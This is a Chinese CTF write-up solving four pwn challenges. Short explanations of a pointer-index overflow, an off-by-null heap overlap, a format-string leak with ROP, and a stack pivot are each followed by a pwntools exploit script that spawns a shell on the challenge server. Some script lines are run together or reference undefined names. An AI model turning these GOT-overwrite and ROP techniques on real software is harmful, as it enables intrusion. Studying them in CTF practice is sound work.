好长时间不作题了,在复现平台上看到这个比赛,作了一下,题过于简单了。不过密码一言难尽。
Orange
要说libc-2.23有多老,我一开始学PWN的时候还有不少,这两年几乎不见了。一些比赛估计是拿的旧题。
远看像个堆题,有add,edit,show但没有free。后来搜了下网上的WP也是当堆题作的。但我感觉不是。至少跟堆没大关系。
在bss里存的list在16个指针后边是chunk_size.在edit时要求重新输入size这里就有个溢出。而最大问题是edit和show都可以输入index:16也就是指针溢出1.
所以这里可以不用堆来处理。由于PIE没开,建一个size= 0x602050地块,这个size就落在list[16]的位置。这时候show它一下就能得到libc不过也没啥用,因为题目有后门直接把这写成后门就成了。由于是后门不需要参数,所以可改的范围很大,这里改的是malloc,改别的也可以。
from pwn import *
context(arch='amd64', log_level='debug')#p = process('./Orange')
p = remote('gz.imxbt.cn', 20366)#add size = elf.got.malloc
p.sendlineafter(b"Please enter your choice>>", b'1')
p.sendlineafter(b"input your note size", str(0x602050).encode())
p.sendafter(b"input your note", b'A')#edit got.malloc->backdoor
p.sendlineafter(b"Please enter your choice>>", b'2')
p.sendlineafter(b'input note index\n', b'16')
p.sendlineafter(b"input your note size", str(8).encode())
p.sendafter(b"input your note", p64(0x400987))#call malloc
p.sendlineafter(b"Please enter your choice>>", b'1')
p.sendlineafter(b"input your note size", str(0x602050).encode())p.sendline(b"cat flag")
p.interactive()
babyheap
还是上边这个题,把size这块给堵上了。但给了free。这里free清理了指针,但在edit时用read_int函数会多写入1个\0
这个就是传统的unsort unlink,这堆题无非就是能修改不让改的地方。造重叠块是一个重要方法。2.23这东西检查不多。先释放一个块到unsort再把后边的pre_size和pre_inuse改了用off_by_null 。然后因为pie没开就直接把块建到指针区上,后边就直接改东西了。
这回改的是atoi
from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./babyheap')
libc = ELF('./libc-2.23.so')#read_input off by null
def add(size,msg=b'\n'): p.sendlineafter(b'Choose an option >> ', b'1')p.sendlineafter(b"How much do you want", str(size).encode())p.sendafter(b"Enter something?", msg)def edit(idx,msg):p.sendlineafter(b'Choose an option >> ', b'2')p.sendlineafter(b"input index", str(idx).encode())p.sendafter(b"Enter something?", msg)def show(idx):p.sendlineafter(b'Choose an option >> ', b'3')p.sendlineafter(b"Give me a index.Let you see see\n", str(idx).encode())def free(idx):p.sendlineafter(b'Choose an option >> ', b'4')p.sendlineafter(b"input index", str(idx).encode())#p = process('./babyheap')
p = remote('gz.imxbt.cn', 20377)add(0x80)
add(0x68)
add(0xf8)
add(0x18)# 1:free->unsort
free(0)
# 2:edit pre_size,pre_inused
edit(1, b'\0'*0x60 + p64(0x100))
# 3:free->forward
free(2)free(1)
add(0xa0, b'\0'*0x88+flat(0x71, 0x6020a0-3)+b'\n')add(0x68)
add(0x68, b'\0'*3 + flat(0,0,0x6020d0,0x602140, elf.got['atoi'], elf.got['puts'])+b'\n')show(3)
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
edit(2, p64(libc.sym['system']))p.sendline(b'/bin/sh\0')p.sendline(b"cat flag")
p.interactive()
green
这比赛不仅有2.23还有32的题。
这题主体是gets-printf-gets 两个危险函数都有了,printf可以得到所有想要的值。主要是canary后边gets就能溢出去写ROP了。
题目可能原先是在环境变量里放flag而复现平台上是文件。所以作法应该不一样。
原来是先泄露canary和加载地址然后调用check...就行了。后来需要泄露libc查libc版本。是个2.35的显然是后配上的。
from pwn import *
context(arch='i386', log_level='debug')elf = ELF('./green')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')#p = process('./green')
p = remote('gz.imxbt.cn', 20382)p.sendlineafter(b"Every protection is enabled. Good luck.\n", b"%15$p %19$p %23$p ")
canary = int(p.recvuntil(b' '),16)
elf.address = int(p.recvuntil(b' '),16) - (0x1365+77)
libc.address = int(p.recvuntil(b' '),16) - 0x21519 #0x23295
print(f"{canary = :x} {elf.address = :x} {libc.address = :x}")#1 not found
pop = elf.address + 0x1224
#p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, elf.sym['check1'],pop, 4919, elf.sym['check2'],pop,1056, elf.sym['check3'],pop,0xDEADBEEF, elf.sym['finalcheck'],pop, 291))#get version
#p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, elf.sym['func']))
#p.sendlineafter(b"Every protection is enabled. Good luck.\n", b"%8$s"+p32(elf.got['printf']))
#p.recvline()bin_sh = libc.address + 0x1b90d5
system = libc.address + 0x47cd0
p.sendlineafter(b'\n', b'A'*0x20 + flat(canary,0,0,0, system,0, bin_sh))
p.sendline(b'cat flag')
p.interactive()
stackmigration
read有个溢出,正好溢出到返回地址。而且泄露了栈地址。只要移栈到开头调用下system就行。
from pwn import *
context(arch='amd64', log_level='debug')p = remote('gz.imxbt.cn', 20398)p.recvuntil(b'gift:')
stack = int(p.recvline(),16)
print(f"{stack = :x}")pop_rdi = 0x400963
leave_ret = 0x400896p.sendafter(b"?\n", flat(pop_rdi, stack+0x18,elf.plt['system'],b'/bin/sh\0', stack-0x8, leave_ret))
p.interactive()